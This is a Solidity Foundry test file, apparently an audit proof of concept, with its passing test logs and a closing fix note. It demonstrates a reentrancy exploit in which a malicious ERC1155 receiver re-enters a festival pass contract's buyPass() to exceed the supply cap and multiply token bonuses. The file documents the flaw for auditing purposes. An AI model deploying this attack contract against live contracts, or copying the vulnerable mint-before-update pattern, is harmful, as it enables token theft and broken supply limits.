pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import {console} from "forge-std/console.sol";
* @title Reentrancy in buyPass() Function PoC
* @dev Demonstrates how malicious ERC1155Receiver can exploit CEI violation
* to bypass supply limits and multiply BEAT token bonuses
*
* VULNERABILITY: CEI Pattern Violation in buyPass()
* 1. _mint() called before ++passSupply[collectionId] (Lines 78-79)
* 2. _mint() triggers onERC1155Received() hook
* 3. Attacker can call buyPass() again before supply counter increments
* 4. Each reentrant call bypasses supply check and mints bonus BEAT tokens
*
* ATTACK VECTOR: Malicious ERC1155Receiver.onERC1155Received()
*/
interface IERC1155Receiver {
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
}
* @dev Malicious contract that exploits reentrancy in buyPass()
*/
contract MaliciousReceiver is IERC1155Receiver {
FestivalPass public festivalPass;
BeatToken public beatToken;
uint256 public attackCount;
uint256 public maxAttacks;
uint256 public targetPassId;
constructor(address _festivalPass, address _beatToken) {
festivalPass = FestivalPass(_festivalPass);
beatToken = BeatToken(_beatToken);
}
function startAttack(uint256 _targetPassId, uint256 _maxAttacks) external payable {
targetPassId = _targetPassId;
maxAttacks = _maxAttacks;
attackCount = 0;
console.log("=== STARTING REENTRANCY ATTACK ===");
console.log("Target Pass ID:", targetPassId);
console.log("Max Attacks:", maxAttacks);
console.log("Initial Supply:", festivalPass.passSupply(targetPassId));
console.log("Initial BEAT Balance:", beatToken.balanceOf(address(this)));
festivalPass.buyPass{value: msg.value}(targetPassId);
}
function onERC1155Received(
address,
address,
uint256 id,
uint256,
bytes calldata
) external override returns (bytes4) {
console.log("--- Reentrancy Hook Triggered ---");
console.log("Current Attack Count:", attackCount);
console.log("Current Supply Counter:", festivalPass.passSupply(targetPassId));
console.log("Current BEAT Balance:", beatToken.balanceOf(address(this)));
if (attackCount < maxAttacks &&
festivalPass.passSupply(targetPassId) < festivalPass.passMaxSupply(targetPassId) &&
address(this).balance >= festivalPass.passPrice(targetPassId)) {
attackCount++;
uint256 passPrice = festivalPass.passPrice(targetPassId);
console.log("Reentering buyPass() - Attack #", attackCount);
console.log("Contract balance:", address(this).balance);
console.log("Pass price needed:", passPrice);
festivalPass.buyPass{value: passPrice}(targetPassId);
}
return this.onERC1155Received.selector;
}
receive() external payable {}
}
contract ReentrancyExploitPoC is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
MaliciousReceiver public attacker;
address public owner;
address public organizer;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 5;
uint256 constant VIP_PASS = 2;
uint256 constant VIP_BEAT_BONUS = 5e18;
function setUp() public {
owner = makeAddr("owner");
organizer = makeAddr("organizer");
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.stopPrank();
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
attacker = new MaliciousReceiver(address(festivalPass), address(beatToken));
}
function testReentrancyBypassSupplyLimit() public {
console.log("=== REENTRANCY SUPPLY BYPASS EXPLOIT ===\n");
uint256 totalFunding = VIP_PRICE * (VIP_MAX_SUPPLY + 2);
vm.deal(address(attacker), totalFunding);
console.log("SETUP:");
console.log("VIP Max Supply:", VIP_MAX_SUPPLY);
console.log("VIP Price:", VIP_PRICE);
console.log("Attacker Funding:", totalFunding);
uint256 attackAttempts = 3;
attacker.startAttack{value: VIP_PRICE}(VIP_PASS, attackAttempts);
console.log("\n=== ATTACK RESULTS ===");
uint256 finalSupply = festivalPass.passSupply(VIP_PASS);
uint256 attackerPasses = festivalPass.balanceOf(address(attacker), VIP_PASS);
uint256 attackerBEAT = beatToken.balanceOf(address(attacker));
console.log("Final Supply Counter:", finalSupply);
console.log("Attacker Pass Balance:", attackerPasses);
console.log("Attacker BEAT Balance:", attackerBEAT);
console.log("Expected BEAT (normal):", VIP_BEAT_BONUS);
console.log("BEAT Multiplier:", attackerBEAT / VIP_BEAT_BONUS);
assertGt(attackerPasses, 1, "Should have more than 1 pass through reentrancy");
assertGt(attackerBEAT, VIP_BEAT_BONUS, "Should have multiplied BEAT bonuses");
console.log("\nSUPPLY COUNTER INCONSISTENCY:");
console.log("Supply counter shows:", finalSupply);
console.log("Actual passes minted:", attackerPasses);
console.log("Discrepancy:", attackerPasses > finalSupply ? "YES" : "NO");
}
function testBEATBonusMultiplication() public {
console.log("=== BEAT BONUS MULTIPLICATION EXPLOIT ===\n");
uint256 BACKSTAGE_PRICE = 0.25 ether;
uint256 BACKSTAGE_MAX_SUPPLY = 3;
uint256 BACKSTAGE_PASS = 3;
uint256 BACKSTAGE_BEAT_BONUS = 15e18;
vm.prank(organizer);
festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, BACKSTAGE_MAX_SUPPLY);
uint256 funding = BACKSTAGE_PRICE * (BACKSTAGE_MAX_SUPPLY + 1);
vm.deal(address(attacker), funding);
console.log("Targeting BACKSTAGE passes for maximum BEAT bonus:");
console.log("Single bonus:", BACKSTAGE_BEAT_BONUS);
console.log("Max supply:", BACKSTAGE_MAX_SUPPLY);
attacker.startAttack{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS, 2);
uint256 finalBEAT = beatToken.balanceOf(address(attacker));
uint256 expectedBEAT = BACKSTAGE_BEAT_BONUS;
uint256 actualPasses = festivalPass.balanceOf(address(attacker), BACKSTAGE_PASS);
console.log("\nBEAT BONUS MULTIPLICATION RESULTS:");
console.log("Expected BEAT (1 pass):", expectedBEAT);
console.log("Actual BEAT received:", finalBEAT);
console.log("Bonus multiplication factor:", finalBEAT / expectedBEAT);
console.log("Passes obtained through reentrancy:", actualPasses);
uint256 stolenBEAT = finalBEAT - expectedBEAT;
console.log("BEAT tokens stolen:", stolenBEAT);
assertGt(finalBEAT, expectedBEAT, "Should have multiplied BEAT bonuses");
assertGt(actualPasses, 1, "Should have obtained multiple passes");
}
function testSupplyLimitBypass() public {
console.log("=== SUPPLY LIMIT BYPASS DEMONSTRATION ===\n");
uint256 LOW_MAX_SUPPLY = 2;
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, LOW_MAX_SUPPLY);
address normalUser = makeAddr("normalUser");
vm.deal(normalUser, VIP_PRICE);
vm.prank(normalUser);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
console.log("After normal user purchase:");
console.log("Supply:", festivalPass.passSupply(VIP_PASS), "/", LOW_MAX_SUPPLY);
uint256 funding = VIP_PRICE * 3;
vm.deal(address(attacker), funding);
console.log("\nAttacker attempting to exceed remaining supply...");
attacker.startAttack{value: VIP_PRICE}(VIP_PASS, 2);
uint256 finalSupply = festivalPass.passSupply(VIP_PASS);
uint256 attackerPasses = festivalPass.balanceOf(address(attacker), VIP_PASS);
uint256 totalPasses = festivalPass.balanceOf(normalUser, VIP_PASS) + attackerPasses;
console.log("\nSUPPLY BYPASS RESULTS:");
console.log("Max Supply:", LOW_MAX_SUPPLY);
console.log("Final Supply Counter:", finalSupply);
console.log("Total Passes in Circulation:", totalPasses);
console.log("Supply limit bypassed:", totalPasses > LOW_MAX_SUPPLY ? "YES" : "NO");
assertGt(totalPasses, LOW_MAX_SUPPLY, "Total passes should exceed max supply");
}
}
Ran 3 tests for test/ReentrancyExploit.t.sol:ReentrancyExploitPoC
[PASS] testBEATBonusMultiplication() (gas: 374594)
Logs:
=== BEAT BONUS MULTIPLICATION EXPLOIT ===
Targeting BACKSTAGE passes for maximum BEAT bonus:
Single bonus: 15000000000000000000
Max supply: 3
=== STARTING REENTRANCY ATTACK ===
Target Pass ID: 3
Max Attacks: 2
Initial Supply: 0
Initial BEAT Balance: 0
--- Reentrancy Hook Triggered ---
Current Attack Count: 0
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 1
Contract balance: 1000000000000000000
Pass price needed: 250000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 1
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 2
Contract balance: 750000000000000000
Pass price needed: 250000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 2
Current Supply Counter: 0
Current BEAT Balance: 0
BEAT BONUS MULTIPLICATION RESULTS:
Expected BEAT (1 pass): 15000000000000000000
Actual BEAT received: 45000000000000000000
Bonus multiplication factor: 3
Passes obtained through reentrancy: 3
BEAT tokens stolen: 30000000000000000000
[PASS] testReentrancyBypassSupplyLimit() (gas: 374055)
Logs:
=== REENTRANCY SUPPLY BYPASS EXPLOIT ===
SETUP:
VIP Max Supply: 5
VIP Price: 100000000000000000
Attacker Funding: 700000000000000000
=== STARTING REENTRANCY ATTACK ===
Target Pass ID: 2
Max Attacks: 3
Initial Supply: 0
Initial BEAT Balance: 0
--- Reentrancy Hook Triggered ---
Current Attack Count: 0
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 1
Contract balance: 700000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 1
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 2
Contract balance: 600000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 2
Current Supply Counter: 0
Current BEAT Balance: 0
Reentering buyPass() - Attack # 3
Contract balance: 500000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 3
Current Supply Counter: 0
Current BEAT Balance: 0
=== ATTACK RESULTS ===
Final Supply Counter: 4
Attacker Pass Balance: 4
Attacker BEAT Balance: 20000000000000000000
Expected BEAT (normal): 5000000000000000000
BEAT Multiplier: 4
SUPPLY COUNTER INCONSISTENCY:
Supply counter shows: 4
Actual passes minted: 4
Discrepancy: NO
[PASS] testSupplyLimitBypass() (gas: 404181)
Logs:
=== SUPPLY LIMIT BYPASS DEMONSTRATION ===
After normal user purchase:
Supply: 1 / 2
Attacker attempting to exceed remaining supply...
=== STARTING REENTRANCY ATTACK ===
Target Pass ID: 2
Max Attacks: 2
Initial Supply: 1
Initial BEAT Balance: 0
--- Reentrancy Hook Triggered ---
Current Attack Count: 0
Current Supply Counter: 1
Current BEAT Balance: 0
Reentering buyPass() - Attack # 1
Contract balance: 300000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 1
Current Supply Counter: 1
Current BEAT Balance: 0
Reentering buyPass() - Attack # 2
Contract balance: 200000000000000000
Pass price needed: 100000000000000000
--- Reentrancy Hook Triggered ---
Current Attack Count: 2
Current Supply Counter: 1
Current BEAT Balance: 0
SUPPLY BYPASS RESULTS:
Max Supply: 2
Final Supply Counter: 4
Total Passes in Circulation: 4
Supply limit bypassed: YES
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.12ms (3.15ms CPU time)
Ran 1 test suite in 4.56ms (2.12ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
The fix implements proper CEI pattern by moving the supply counter increment before the external _mint()
call. This ensures that state is updated before any external interactions occur, preventing reentrancy attacks from bypassing supply limits or multiplying bonuses. The supply counter will be properly incremented even if reentrancy occurs, causing subsequent reentrant calls to fail the supply check as intended.